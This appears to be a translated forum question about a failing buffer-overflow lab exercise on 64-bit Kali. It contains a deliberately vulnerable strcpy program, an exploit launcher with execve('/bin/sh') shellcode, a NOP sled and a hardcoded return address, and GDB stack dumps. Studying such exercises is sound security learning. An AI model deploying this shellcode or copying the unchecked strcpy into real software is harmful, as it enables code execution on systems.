Fallo de segmentación en el programa de ejercicios

1

Estoy revisando este video sobre desbordamientos de búfer, pero tengo algunos problemas para replicar la demostración. El problema es que obtengo un error de segmentación cuando espero obtener un shell al final. La idea es que el programa HackYou ejecuta un shell y luego estoy ejecutando el vulnerable 'ExploitMe con GDB en ese shell.

Estoy ejecutando esto en un entorno de Kali Linux Virtualbox de 64 bits con la asignación aleatoria de memoria desactivada.

Por lo que puedo decir, todo mi código coincide con la demostración. Una cosa que he notado sin embargo es esto. %código%. En el código de demostración, el tamaño de la variable del búfer es 0x0000000000001139 <+4>: sub $0x60,%rsp .

96 bytes frente a 80 bytes.

Por lo que entiendo, la dirección de retorno deseada debe ser, 0x50 .

Puedo ver el código de shell que se está introduciendo en la pila y puedo ver la nueva dirección de devolución como se espera. Pero no estoy seguro de qué es lo que impide que se ejecute según lo previsto y genere un shell dentro de GDB.

0x7fffffffe060

#include<stdio.h>
#include<string.h>

main(int argc, char **argv)
{
    char buffer[80];
    strcpy(buffer, argv[1]);
    return 1;
}

ExploitMe.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;

char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";

#define NOP 0x90
main()
{
    char buffer[96]; 
    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG=", 4);
    memcpy(buffer+4, shellcode, 24);
    memcpy(buffer+88, retaddr, 4);
    memcpy(buffer+92, "\x00\x00\x00\x00", 4);
    putenv(buffer);
    system("/bin/sh");
    return 0;
}

HackYou.c

Dump of assembler code for function main:
   0x0000000000001135 <+0>: push   %rbp
   0x0000000000001136 <+1>: mov    %rsp,%rbp
   0x0000000000001139 <+4>: sub    $0x60,%rsp
   0x000000000000113d <+8>: mov    %edi,-0x54(%rbp)
   0x0000000000001140 <+11>:    mov    %rsi,-0x60(%rbp)
   0x0000000000001144 <+15>:    mov    -0x60(%rbp),%rax
   0x0000000000001148 <+19>:    add    $0x8,%rax
   0x000000000000114c <+23>:    mov    (%rax),%rdx
   0x000000000000114f <+26>:    lea    -0x50(%rbp),%rax
   0x0000000000001153 <+30>:    mov    %rdx,%rsi
   0x0000000000001156 <+33>:    mov    %rax,%rdi
   0x0000000000001159 <+36>:    callq  0x1030 <strcpy@plt>
   0x000000000000115e <+41>:    mov    $0x1,%eax
   0x0000000000001163 <+46>:    leaveq 
   0x0000000000001164 <+47>:    retq   
End of assembler dump.

disas main

(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x00000001  0x00000000  0xf7e939b5  0x00007fff
0x7fffffffe080: 0x00000000  0x00000000  0x555551bd  0x00005555
0x7fffffffe090: 0xf7fe42a0  0x00007fff  0x00000000  0x00000000
0x7fffffffe0a0: 0x55555170  0x00005555  0x55555050  0x00005555
0x7fffffffe0b0: 0xffffe1a0  0x00007fff  0x00000000  0x00000000

(gdb) c
Continuing.

(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe4d4: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe4e4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe4f4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe504: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe514: 0x90909090  0xffffe060  0x5f534c00  0x4f4c4f43

(gdb) x/40xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe080: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe090: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0c0: 0x90909090  0xffffe060  0xf7e14b00  0x00007fff
0x7fffffffe0d0: 0x00000000  0x00000000  0xffffe1a8  0x00007fff
0x7fffffffe0e0: 0x00040000  0x00000002  0x55555135  0x00005555
0x7fffffffe0f0: 0x00000000  0x00000000  0x12e5cd41  0xd8327cdb

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.
    
pregunta Rich C 25.10.2018 - 13:40
fuente

0 respuestas

Lea otras preguntas en las etiquetas